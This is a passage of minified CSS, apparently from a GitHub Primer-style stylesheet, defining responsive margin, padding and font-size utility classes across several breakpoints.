!important}.mx-md-3{margin-right:16px !important;margin-left:16px !important}.my-md-3{margin-top:16px !important;margin-bottom:16px !important}.m-md-4{margin:24px !important}.mt-md-4{margin-top:24px !important}.mb-md-4{margin-bottom:24px !important}.mr-md-4{margin-right:24px !important}.ml-md-4{margin-left:24px !important}.mt-md-n4{margin-top:-24px !important}.mb-md-n4{margin-bottom:-24px !important}.mr-md-n4{margin-right:-24px !important}.ml-md-n4{margin-left:-24px !important}.mx-md-4{margin-right:24px !important;margin-left:24px !important}.my-md-4{margin-top:24px !important;margin-bottom:24px !important}.m-md-5{margin:32px !important}.mt-md-5{margin-top:32px !important}.mb-md-5{margin-bottom:32px !important}.mr-md-5{margin-right:32px !important}.ml-md-5{margin-left:32px !important}.mt-md-n5{margin-top:-32px !important}.mb-md-n5{margin-bottom:-32px !important}.mr-md-n5{margin-right:-32px !important}.ml-md-n5{margin-left:-32px !important}.mx-md-5{margin-right:32px !important;margin-left:32px !important}.my-md-5{margin-top:32px !important;margin-bottom:32px !important}.m-md-6{margin:40px !important}.mt-md-6{margin-top:40px !important}.mb-md-6{margin-bottom:40px !important}.mr-md-6{margin-right:40px !important}.ml-md-6{margin-left:40px !important}.mt-md-n6{margin-top:-40px !important}.mb-md-n6{margin-bottom:-40px !important}.mr-md-n6{margin-right:-40px !important}.ml-md-n6{margin-left:-40px !important}.mx-md-6{margin-right:40px !important;margin-left:40px !important}.my-md-6{margin-top:40px !important;margin-bottom:40px !important}.mt-md-7{margin-top:48px !important}.mb-md-7{margin-bottom:48px !important}.mt-md-n7{margin-top:-48px !important}.mb-md-n7{margin-bottom:-48px !important}.my-md-7{margin-top:48px !important;margin-bottom:48px !important}.mt-md-8{margin-top:64px !important}.mb-md-8{margin-bottom:64px !important}.mt-md-n8{margin-top:-64px !important}.mb-md-n8{margin-bottom:-64px !important}.my-md-8{margin-top:64px !important;margin-bottom:64px !important}.mt-md-9{margin-top:80px !important}.mb-md-9{margin-bottom:80px !important}.mt-md-n9{margin-top:-80px !important}.mb-md-n9{margin-bottom:-80px !important}.my-md-9{margin-top:80px !important;margin-bottom:80px !important}.mt-md-10{margin-top:96px !important}.mb-md-10{margin-bottom:96px !important}.mt-md-n10{margin-top:-96px !important}.mb-md-n10{margin-bottom:-96px !important}.my-md-10{margin-top:96px !important;margin-bottom:96px !important}.mt-md-11{margin-top:112px !important}.mb-md-11{margin-bottom:112px !important}.mt-md-n11{margin-top:-112px !important}.mb-md-n11{margin-bottom:-112px !important}.my-md-11{margin-top:112px !important;margin-bottom:112px !important}.mt-md-12{margin-top:128px !important}.mb-md-12{margin-bottom:128px !important}.mt-md-n12{margin-top:-128px !important}.mb-md-n12{margin-bottom:-128px !important}.my-md-12{margin-top:128px !important;margin-bottom:128px !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 1012px){.m-lg-0{margin:0 !important}.mt-lg-0{margin-top:0 !important}.mb-lg-0{margin-bottom:0 !important}.mr-lg-0{margin-right:0 !important}.ml-lg-0{margin-left:0 !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.m-lg-1{margin:4px !important}.mt-lg-1{margin-top:4px !important}.mb-lg-1{margin-bottom:4px !important}.mr-lg-1{margin-right:4px !important}.ml-lg-1{margin-left:4px !important}.mt-lg-n1{margin-top:-4px !important}.mb-lg-n1{margin-bottom:-4px !important}.mr-lg-n1{margin-right:-4px !important}.ml-lg-n1{margin-left:-4px !important}.mx-lg-1{margin-right:4px !important;margin-left:4px !important}.my-lg-1{margin-top:4px !important;margin-bottom:4px !important}.m-lg-2{margin:8px !important}.mt-lg-2{margin-top:8px !important}.mb-lg-2{margin-bottom:8px !important}.mr-lg-2{margin-right:8px !important}.ml-lg-2{margin-left:8px !important}.mt-lg-n2{margin-top:-8px !important}.mb-lg-n2{margin-bottom:-8px !important}.mr-lg-n2{margin-right:-8px !important}.ml-lg-n2{margin-left:-8px !important}.mx-lg-2{margin-right:8px !important;margin-left:8px !important}.my-lg-2{margin-top:8px !important;margin-bottom:8px !important}.m-lg-3{margin:16px !important}.mt-lg-3{margin-top:16px !important}.mb-lg-3{margin-bottom:16px !important}.mr-lg-3{margin-right:16px !important}.ml-lg-3{margin-left:16px !important}.mt-lg-n3{margin-top:-16px !important}.mb-lg-n3{margin-bottom:-16px !important}.mr-lg-n3{margin-right:-16px !important}.ml-lg-n3{margin-left:-16px !important}.mx-lg-3{margin-right:16px !important;margin-left:16px !important}.my-lg-3{margin-top:16px !important;margin-bottom:16px !important}.m-lg-4{margin:24px !important}.mt-lg-4{margin-top:24px !important}.mb-lg-4{margin-bottom:24px !important}.mr-lg-4{margin-right:24px !important}.ml-lg-4{margin-left:24px !important}.mt-lg-n4{margin-top:-24px !important}.mb-lg-n4{margin-bottom:-24px !important}.mr-lg-n4{margin-right:-24px !important}.ml-lg-n4{margin-left:-24px !important}.mx-lg-4{margin-right:24px !important;margin-left:24px !important}.my-lg-4{margin-top:24px !important;margin-bottom:24px !important}.m-lg-5{margin:32px !important}.mt-lg-5{margin-top:32px !important}.mb-lg-5{margin-bottom:32px !important}.mr-lg-5{margin-right:32px !important}.ml-lg-5{margin-left:32px !important}.mt-lg-n5{margin-top:-32px !important}.mb-lg-n5{margin-bottom:-32px !important}.mr-lg-n5{margin-right:-32px !important}.ml-lg-n5{margin-left:-32px !important}.mx-lg-5{margin-right:32px !important;margin-left:32px !important}.my-lg-5{margin-top:32px !important;margin-bottom:32px !important}.m-lg-6{margin:40px !important}.mt-lg-6{margin-top:40px !important}.mb-lg-6{margin-bottom:40px !important}.mr-lg-6{margin-right:40px !important}.ml-lg-6{margin-left:40px !important}.mt-lg-n6{margin-top:-40px !important}.mb-lg-n6{margin-bottom:-40px !important}.mr-lg-n6{margin-right:-40px !important}.ml-lg-n6{margin-left:-40px !important}.mx-lg-6{margin-right:40px !important;margin-left:40px !important}.my-lg-6{margin-top:40px !important;margin-bottom:40px !important}.mt-lg-7{margin-top:48px !important}.mb-lg-7{margin-bottom:48px !important}.mt-lg-n7{margin-top:-48px !important}.mb-lg-n7{margin-bottom:-48px !important}.my-lg-7{margin-top:48px !important;margin-bottom:48px !important}.mt-lg-8{margin-top:64px !important}.mb-lg-8{margin-bottom:64px !important}.mt-lg-n8{margin-top:-64px !important}.mb-lg-n8{margin-bottom:-64px !important}.my-lg-8{margin-top:64px !important;margin-bottom:64px !important}.mt-lg-9{margin-top:80px !important}.mb-lg-9{margin-bottom:80px !important}.mt-lg-n9{margin-top:-80px !important}.mb-lg-n9{margin-bottom:-80px !important}.my-lg-9{margin-top:80px !important;margin-bottom:80px !important}.mt-lg-10{margin-top:96px !important}.mb-lg-10{margin-bottom:96px !important}.mt-lg-n10{margin-top:-96px !important}.mb-lg-n10{margin-bottom:-96px !important}.my-lg-10{margin-top:96px !important;margin-bottom:96px !important}.mt-lg-11{margin-top:112px !important}.mb-lg-11{margin-bottom:112px !important}.mt-lg-n11{margin-top:-112px !important}.mb-lg-n11{margin-bottom:-112px !important}.my-lg-11{margin-top:112px !important;margin-bottom:112px !important}.mt-lg-12{margin-top:128px !important}.mb-lg-12{margin-bottom:128px !important}.mt-lg-n12{margin-top:-128px !important}.mb-lg-n12{margin-bottom:-128px !important}.my-lg-12{margin-top:128px !important;margin-bottom:128px !important}.mx-lg-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 1280px){.m-xl-0{margin:0 !important}.mt-xl-0{margin-top:0 !important}.mb-xl-0{margin-bottom:0 !important}.mr-xl-0{margin-right:0 !important}.ml-xl-0{margin-left:0 !important}.mx-xl-0{margin-right:0 !important;margin-left:0 !important}.my-xl-0{margin-top:0 !important;margin-bottom:0 !important}.m-xl-1{margin:4px !important}.mt-xl-1{margin-top:4px !important}.mb-xl-1{margin-bottom:4px !important}.mr-xl-1{margin-right:4px !important}.ml-xl-1{margin-left:4px !important}.mt-xl-n1{margin-top:-4px !important}.mb-xl-n1{margin-bottom:-4px !important}.mr-xl-n1{margin-right:-4px !important}.ml-xl-n1{margin-left:-4px !important}.mx-xl-1{margin-right:4px !important;margin-left:4px !important}.my-xl-1{margin-top:4px !important;margin-bottom:4px !important}.m-xl-2{margin:8px !important}.mt-xl-2{margin-top:8px !important}.mb-xl-2{margin-bottom:8px !important}.mr-xl-2{margin-right:8px !important}.ml-xl-2{margin-left:8px !important}.mt-xl-n2{margin-top:-8px !important}.mb-xl-n2{margin-bottom:-8px !important}.mr-xl-n2{margin-right:-8px !important}.ml-xl-n2{margin-left:-8px !important}.mx-xl-2{margin-right:8px !important;margin-left:8px !important}.my-xl-2{margin-top:8px !important;margin-bottom:8px !important}.m-xl-3{margin:16px !important}.mt-xl-3{margin-top:16px !important}.mb-xl-3{margin-bottom:16px !important}.mr-xl-3{margin-right:16px !important}.ml-xl-3{margin-left:16px !important}.mt-xl-n3{margin-top:-16px !important}.mb-xl-n3{margin-bottom:-16px !important}.mr-xl-n3{margin-right:-16px !important}.ml-xl-n3{margin-left:-16px !important}.mx-xl-3{margin-right:16px !important;margin-left:16px !important}.my-xl-3{margin-top:16px !important;margin-bottom:16px !important}.m-xl-4{margin:24px !important}.mt-xl-4{margin-top:24px !important}.mb-xl-4{margin-bottom:24px !important}.mr-xl-4{margin-right:24px !important}.ml-xl-4{margin-left:24px !important}.mt-xl-n4{margin-top:-24px !important}.mb-xl-n4{margin-bottom:-24px !important}.mr-xl-n4{margin-right:-24px !important}.ml-xl-n4{margin-left:-24px !important}.mx-xl-4{margin-right:24px !important;margin-left:24px !important}.my-xl-4{margin-top:24px !important;margin-bottom:24px !important}.m-xl-5{margin:32px !important}.mt-xl-5{margin-top:32px !important}.mb-xl-5{margin-bottom:32px !important}.mr-xl-5{margin-right:32px !important}.ml-xl-5{margin-left:32px !important}.mt-xl-n5{margin-top:-32px !important}.mb-xl-n5{margin-bottom:-32px !important}.mr-xl-n5{margin-right:-32px !important}.ml-xl-n5{margin-left:-32px !important}.mx-xl-5{margin-right:32px !important;margin-left:32px !important}.my-xl-5{margin-top:32px !important;margin-bottom:32px !important}.m-xl-6{margin:40px !important}.mt-xl-6{margin-top:40px !important}.mb-xl-6{margin-bottom:40px !important}.mr-xl-6{margin-right:40px !important}.ml-xl-6{margin-left:40px !important}.mt-xl-n6{margin-top:-40px !important}.mb-xl-n6{margin-bottom:-40px !important}.mr-xl-n6{margin-right:-40px !important}.ml-xl-n6{margin-left:-40px !important}.mx-xl-6{margin-right:40px !important;margin-left:40px !important}.my-xl-6{margin-top:40px !important;margin-bottom:40px !important}.mt-xl-7{margin-top:48px !important}.mb-xl-7{margin-bottom:48px !important}.mt-xl-n7{margin-top:-48px !important}.mb-xl-n7{margin-bottom:-48px !important}.my-xl-7{margin-top:48px !important;margin-bottom:48px !important}.mt-xl-8{margin-top:64px !important}.mb-xl-8{margin-bottom:64px !important}.mt-xl-n8{margin-top:-64px !important}.mb-xl-n8{margin-bottom:-64px !important}.my-xl-8{margin-top:64px !important;margin-bottom:64px !important}.mt-xl-9{margin-top:80px !important}.mb-xl-9{margin-bottom:80px !important}.mt-xl-n9{margin-top:-80px !important}.mb-xl-n9{margin-bottom:-80px !important}.my-xl-9{margin-top:80px !important;margin-bottom:80px !important}.mt-xl-10{margin-top:96px !important}.mb-xl-10{margin-bottom:96px !important}.mt-xl-n10{margin-top:-96px !important}.mb-xl-n10{margin-bottom:-96px !important}.my-xl-10{margin-top:96px !important;margin-bottom:96px !important}.mt-xl-11{margin-top:112px !important}.mb-xl-11{margin-bottom:112px !important}.mt-xl-n11{margin-top:-112px !important}.mb-xl-n11{margin-bottom:-112px !important}.my-xl-11{margin-top:112px !important;margin-bottom:112px !important}.mt-xl-12{margin-top:128px !important}.mb-xl-12{margin-bottom:128px !important}.mt-xl-n12{margin-top:-128px !important}.mb-xl-n12{margin-bottom:-128px !important}.my-xl-12{margin-top:128px !important;margin-bottom:128px !important}.mx-xl-auto{margin-right:auto !important;margin-left:auto !important}}.m-auto{margin:auto !important}.mt-auto{margin-top:auto !important}.mr-auto{margin-right:auto !important}.mb-auto{margin-bottom:auto !important}.ml-auto{margin-left:auto !important}.p-0{padding:0 !important}.pt-0{padding-top:0 !important}.pr-0{padding-right:0 !important}.pb-0{padding-bottom:0 !important}.pl-0{padding-left:0 !important}.px-0{padding-right:0 !important;padding-left:0 !important}.py-0{padding-top:0 !important;padding-bottom:0 !important}.p-1{padding:4px !important}.pt-1{padding-top:4px !important}.pr-1{padding-right:4px !important}.pb-1{padding-bottom:4px !important}.pl-1{padding-left:4px !important}.px-1{padding-right:4px !important;padding-left:4px !important}.py-1{padding-top:4px !important;padding-bottom:4px !important}.p-2{padding:8px !important}.pt-2{padding-top:8px !important}.pr-2{padding-right:8px !important}.pb-2{padding-bottom:8px !important}.pl-2{padding-left:8px !important}.px-2{padding-right:8px !important;padding-left:8px !important}.py-2{padding-top:8px !important;padding-bottom:8px !important}.p-3{padding:16px !important}.pt-3{padding-top:16px !important}.pr-3{padding-right:16px !important}.pb-3{padding-bottom:16px !important}.pl-3{padding-left:16px !important}.px-3{padding-right:16px !important;padding-left:16px !important}.py-3{padding-top:16px !important;padding-bottom:16px !important}.p-4{padding:24px !important}.pt-4{padding-top:24px !important}.pr-4{padding-right:24px !important}.pb-4{padding-bottom:24px !important}.pl-4{padding-left:24px !important}.px-4{padding-right:24px !important;padding-left:24px !important}.py-4{padding-top:24px !important;padding-bottom:24px !important}.p-5{padding:32px !important}.pt-5{padding-top:32px !important}.pr-5{padding-right:32px !important}.pb-5{padding-bottom:32px !important}.pl-5{padding-left:32px !important}.px-5{padding-right:32px !important;padding-left:32px !important}.py-5{padding-top:32px !important;padding-bottom:32px !important}.p-6{padding:40px !important}.pt-6{padding-top:40px !important}.pr-6{padding-right:40px !important}.pb-6{padding-bottom:40px !important}.pl-6{padding-left:40px !important}.px-6{padding-right:40px !important;padding-left:40px !important}.py-6{padding-top:40px !important;padding-bottom:40px !important}.pt-7{padding-top:48px !important}.pr-7{padding-right:48px !important}.pb-7{padding-bottom:48px !important}.pl-7{padding-left:48px !important}.py-7{padding-top:48px !important;padding-bottom:48px !important}.pt-8{padding-top:64px !important}.pr-8{padding-right:64px !important}.pb-8{padding-bottom:64px !important}.pl-8{padding-left:64px !important}.py-8{padding-top:64px !important;padding-bottom:64px !important}.pt-9{padding-top:80px !important}.pr-9{padding-right:80px !important}.pb-9{padding-bottom:80px !important}.pl-9{padding-left:80px !important}.py-9{padding-top:80px !important;padding-bottom:80px !important}.pt-10{padding-top:96px !important}.pr-10{padding-right:96px !important}.pb-10{padding-bottom:96px !important}.pl-10{padding-left:96px !important}.py-10{padding-top:96px !important;padding-bottom:96px !important}.pt-11{padding-top:112px !important}.pr-11{padding-right:112px !important}.pb-11{padding-bottom:112px !important}.pl-11{padding-left:112px !important}.py-11{padding-top:112px !important;padding-bottom:112px !important}.pt-12{padding-top:128px !important}.pr-12{padding-right:128px !important}.pb-12{padding-bottom:128px !important}.pl-12{padding-left:128px !important}.py-12{padding-top:128px !important;padding-bottom:128px !important}@media(min-width: 544px){.p-sm-0{padding:0 !important}.pt-sm-0{padding-top:0 !important}.pr-sm-0{padding-right:0 !important}.pb-sm-0{padding-bottom:0 !important}.pl-sm-0{padding-left:0 !important}.px-sm-0{padding-right:0 !important;padding-left:0 !important}.py-sm-0{padding-top:0 !important;padding-bottom:0 !important}.p-sm-1{padding:4px !important}.pt-sm-1{padding-top:4px !important}.pr-sm-1{padding-right:4px !important}.pb-sm-1{padding-bottom:4px !important}.pl-sm-1{padding-left:4px !important}.px-sm-1{padding-right:4px !important;padding-left:4px !important}.py-sm-1{padding-top:4px !important;padding-bottom:4px !important}.p-sm-2{padding:8px !important}.pt-sm-2{padding-top:8px !important}.pr-sm-2{padding-right:8px !important}.pb-sm-2{padding-bottom:8px !important}.pl-sm-2{padding-left:8px !important}.px-sm-2{padding-right:8px !important;padding-left:8px !important}.py-sm-2{padding-top:8px !important;padding-bottom:8px !important}.p-sm-3{padding:16px !important}.pt-sm-3{padding-top:16px !important}.pr-sm-3{padding-right:16px !important}.pb-sm-3{padding-bottom:16px !important}.pl-sm-3{padding-left:16px !important}.px-sm-3{padding-right:16px !important;padding-left:16px !important}.py-sm-3{padding-top:16px !important;padding-bottom:16px !important}.p-sm-4{padding:24px !important}.pt-sm-4{padding-top:24px !important}.pr-sm-4{padding-right:24px !important}.pb-sm-4{padding-bottom:24px !important}.pl-sm-4{padding-left:24px !important}.px-sm-4{padding-right:24px !important;padding-left:24px !important}.py-sm-4{padding-top:24px !important;padding-bottom:24px !important}.p-sm-5{padding:32px !important}.pt-sm-5{padding-top:32px !important}.pr-sm-5{padding-right:32px !important}.pb-sm-5{padding-bottom:32px !important}.pl-sm-5{padding-left:32px !important}.px-sm-5{padding-right:32px !important;padding-left:32px !important}.py-sm-5{padding-top:32px !important;padding-bottom:32px !important}.p-sm-6{padding:40px !important}.pt-sm-6{padding-top:40px !important}.pr-sm-6{padding-right:40px !important}.pb-sm-6{padding-bottom:40px !important}.pl-sm-6{padding-left:40px !important}.px-sm-6{padding-right:40px !important;padding-left:40px !important}.py-sm-6{padding-top:40px !important;padding-bottom:40px !important}.pt-sm-7{padding-top:48px !important}.pr-sm-7{padding-right:48px !important}.pb-sm-7{padding-bottom:48px !important}.pl-sm-7{padding-left:48px !important}.py-sm-7{padding-top:48px !important;padding-bottom:48px !important}.pt-sm-8{padding-top:64px !important}.pr-sm-8{padding-right:64px !important}.pb-sm-8{padding-bottom:64px !important}.pl-sm-8{padding-left:64px !important}.py-sm-8{padding-top:64px !important;padding-bottom:64px !important}.pt-sm-9{padding-top:80px !important}.pr-sm-9{padding-right:80px !important}.pb-sm-9{padding-bottom:80px !important}.pl-sm-9{padding-left:80px !important}.py-sm-9{padding-top:80px !important;padding-bottom:80px !important}.pt-sm-10{padding-top:96px !important}.pr-sm-10{padding-right:96px !important}.pb-sm-10{padding-bottom:96px !important}.pl-sm-10{padding-left:96px !important}.py-sm-10{padding-top:96px !important;padding-bottom:96px !important}.pt-sm-11{padding-top:112px !important}.pr-sm-11{padding-right:112px !important}.pb-sm-11{padding-bottom:112px !important}.pl-sm-11{padding-left:112px !important}.py-sm-11{padding-top:112px !important;padding-bottom:112px !important}.pt-sm-12{padding-top:128px !important}.pr-sm-12{padding-right:128px !important}.pb-sm-12{padding-bottom:128px !important}.pl-sm-12{padding-left:128px !important}.py-sm-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 768px){.p-md-0{padding:0 !important}.pt-md-0{padding-top:0 !important}.pr-md-0{padding-right:0 !important}.pb-md-0{padding-bottom:0 !important}.pl-md-0{padding-left:0 !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.p-md-1{padding:4px !important}.pt-md-1{padding-top:4px !important}.pr-md-1{padding-right:4px !important}.pb-md-1{padding-bottom:4px !important}.pl-md-1{padding-left:4px !important}.px-md-1{padding-right:4px !important;padding-left:4px !important}.py-md-1{padding-top:4px !important;padding-bottom:4px !important}.p-md-2{padding:8px !important}.pt-md-2{padding-top:8px !important}.pr-md-2{padding-right:8px !important}.pb-md-2{padding-bottom:8px !important}.pl-md-2{padding-left:8px !important}.px-md-2{padding-right:8px !important;padding-left:8px !important}.py-md-2{padding-top:8px !important;padding-bottom:8px !important}.p-md-3{padding:16px !important}.pt-md-3{padding-top:16px !important}.pr-md-3{padding-right:16px !important}.pb-md-3{padding-bottom:16px !important}.pl-md-3{padding-left:16px !important}.px-md-3{padding-right:16px !important;padding-left:16px !important}.py-md-3{padding-top:16px !important;padding-bottom:16px !important}.p-md-4{padding:24px !important}.pt-md-4{padding-top:24px !important}.pr-md-4{padding-right:24px !important}.pb-md-4{padding-bottom:24px !important}.pl-md-4{padding-left:24px !important}.px-md-4{padding-right:24px !important;padding-left:24px !important}.py-md-4{padding-top:24px !important;padding-bottom:24px !important}.p-md-5{padding:32px !important}.pt-md-5{padding-top:32px !important}.pr-md-5{padding-right:32px !important}.pb-md-5{padding-bottom:32px !important}.pl-md-5{padding-left:32px !important}.px-md-5{padding-right:32px !important;padding-left:32px !important}.py-md-5{padding-top:32px !important;padding-bottom:32px !important}.p-md-6{padding:40px !important}.pt-md-6{padding-top:40px !important}.pr-md-6{padding-right:40px !important}.pb-md-6{padding-bottom:40px !important}.pl-md-6{padding-left:40px !important}.px-md-6{padding-right:40px !important;padding-left:40px !important}.py-md-6{padding-top:40px !important;padding-bottom:40px !important}.pt-md-7{padding-top:48px !important}.pr-md-7{padding-right:48px !important}.pb-md-7{padding-bottom:48px !important}.pl-md-7{padding-left:48px !important}.py-md-7{padding-top:48px !important;padding-bottom:48px !important}.pt-md-8{padding-top:64px !important}.pr-md-8{padding-right:64px !important}.pb-md-8{padding-bottom:64px !important}.pl-md-8{padding-left:64px !important}.py-md-8{padding-top:64px !important;padding-bottom:64px !important}.pt-md-9{padding-top:80px !important}.pr-md-9{padding-right:80px !important}.pb-md-9{padding-bottom:80px !important}.pl-md-9{padding-left:80px !important}.py-md-9{padding-top:80px !important;padding-bottom:80px !important}.pt-md-10{padding-top:96px !important}.pr-md-10{padding-right:96px !important}.pb-md-10{padding-bottom:96px !important}.pl-md-10{padding-left:96px !important}.py-md-10{padding-top:96px !important;padding-bottom:96px !important}.pt-md-11{padding-top:112px !important}.pr-md-11{padding-right:112px !important}.pb-md-11{padding-bottom:112px !important}.pl-md-11{padding-left:112px !important}.py-md-11{padding-top:112px !important;padding-bottom:112px !important}.pt-md-12{padding-top:128px !important}.pr-md-12{padding-right:128px !important}.pb-md-12{padding-bottom:128px !important}.pl-md-12{padding-left:128px !important}.py-md-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1012px){.p-lg-0{padding:0 !important}.pt-lg-0{padding-top:0 !important}.pr-lg-0{padding-right:0 !important}.pb-lg-0{padding-bottom:0 !important}.pl-lg-0{padding-left:0 !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.p-lg-1{padding:4px !important}.pt-lg-1{padding-top:4px !important}.pr-lg-1{padding-right:4px !important}.pb-lg-1{padding-bottom:4px !important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}.pt-lg-7{padding-top:48px !important}.pr-lg-7{padding-right:48px !important}.pb-lg-7{padding-bottom:48px !important}.pl-lg-7{padding-left:48px !important}.py-lg-7{padding-top:48px !important;padding-bottom:48px !important}.pt-lg-8{padding-top:64px !important}.pr-lg-8{padding-right:64px !important}.pb-lg-8{padding-bottom:64px !important}.pl-lg-8{padding-left:64px !important}.py-lg-8{padding-top:64px !important;padding-bottom:64px !important}.pt-lg-9{padding-top:80px !important}.pr-lg-9{padding-right:80px !important}.pb-lg-9{padding-bottom:80px !important}.pl-lg-9{padding-left:80px !important}.py-lg-9{padding-top:80px !important;padding-bottom:80px !important}.pt-lg-10{padding-top:96px !important}.pr-lg-10{padding-right:96px !important}.pb-lg-10{padding-bottom:96px !important}.pl-lg-10{padding-left:96px !important}.py-lg-10{padding-top:96px !important;padding-bottom:96px !important}.pt-lg-11{padding-top:112px !important}.pr-lg-11{padding-right:112px !important}.pb-lg-11{padding-bottom:112px !important}.pl-lg-11{padding-left:112px !important}.py-lg-11{padding-top:112px !important;padding-bottom:112px !important}.pt-lg-12{padding-top:128px !important}.pr-lg-12{padding-right:128px !important}.pb-lg-12{padding-bottom:128px !important}.pl-lg-12{padding-left:128px !important}.py-lg-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 